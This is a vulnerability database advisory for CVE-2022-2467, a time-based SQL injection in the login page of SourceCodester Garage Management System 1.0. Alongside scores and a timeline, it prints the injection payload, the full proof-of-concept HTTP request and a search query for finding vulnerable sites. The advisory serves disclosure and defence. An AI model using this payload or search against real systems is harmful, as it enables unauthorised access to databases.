



VDB-204160 · CVE-2022-2467

SOURCECODESTER GARAGE MANAGEMENT SYSTEM 1.0 /LOGIN.PHP USERNAME SQL INJECTION

CVSS Meta Temp Score ?

7.9

Current Exploit Price (≈) ?

\$0-\$5k

CTI Interest Score ?

0.15

A vulnerability has been found in SourceCodester Garage Management System 1.0 and classified as critical. This vulnerability affects an unknown code block of the file `/login.php`. The manipulation of the argument `username` with the input value `1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT` leads to a sql injection vulnerability. The CWE definition for the vulnerability is CWE-89. The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was published 07/19/2022. The advisory is shared for download at github.com. This vulnerability was named CVE-2022-2467. Technical details and also a public exploit are known. The MITRE ATT&CK project declares the attack technique as T1505.

It is declared as proof-of-concept. It is possible to download the exploit at github.com. By approaching the search of `inurl:login.php` it is possible to find vulnerable targets with Google Hacking. The code used by the exploit is:

```
POST /login.php HTTP/1.1
Host: [TARGET URL/IP]
Content-Length: 41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://shen-ji.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://shen-ji.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=coj91b4jkkol1s8oalg3r7in12
Connection: close

username=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT&password=412312&login=
```

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an

alternative product.

Product

Vendor

- SourceCodester

Name

- Garage Management System

CPE 2.3

- 

CPE 2.2

- 

CVSSv3

VulDB Meta Base Score: 8.1

VulDB Meta Temp Score: 7.9

VulDB Base Score: 7.3

VulDB Temp Score: 6.6


VulDB Vector: 

VulDB Reliability: 

NVD Base Score: 9.8

NVD Vector: 

CNA Base Score: 7.3

CNA Vector (VulDB): 

CVSSv2



VulDB Base Score: 🔒

VulDB Temp Score: 🔒

VulDB Reliability: 🔍

Exploiting

Class: Sql injection

CWE: CWE-89 / CWE-74 / CWE-707

ATT&CK: T1505

Local: No

Remote: Yes

Availability: 🔒

Access: Public

Status: Proof-of-Concept

Download: 🔒

Google Hack: 🔒

EPSS Score: 🔒

EPSS Percentile: 🔒

Price Prediction: 🔍

Current Price Estimation: 🔒

Threat Intelligence

Interest: 🔍

Active Actors: 🔍

Active APT Groups: 🔍

Countermeasures

Recommended: no mitigation known

Status: 🔍

0-Day Time: 🔒

Timeline

07/19/2022		Advisory disclosed
07/19/2022	+0 days	CVE reserved
07/19/2022	+0 days	VulDB entry created
08/06/2022	+18 days	VulDB last update

Sources

Advisory: [github.com](#)

Status: Not defined

CVE: CVE-2022-2467 (🔒)

scip Labs: <https://www.scip.ch/en/?labs.20161013>

Entry

Created: 07/19/2022 10:57 AM

Updated: 08/06/2022 12:45 PM

Changes: 07/19/2022 10:57 AM (41), 07/19/2022 10:58 AM (1), 07/19/2022 10:59 AM (1), 08/06/2022 12:30 PM (2), 08/06/2022 12:39 PM (21), 08/06/2022 12:45 PM (1)

Complete: 🔍

Submitter: [webray.com.cn](#)

Discussion

No comments yet. Languages: en.

Please log in to comment.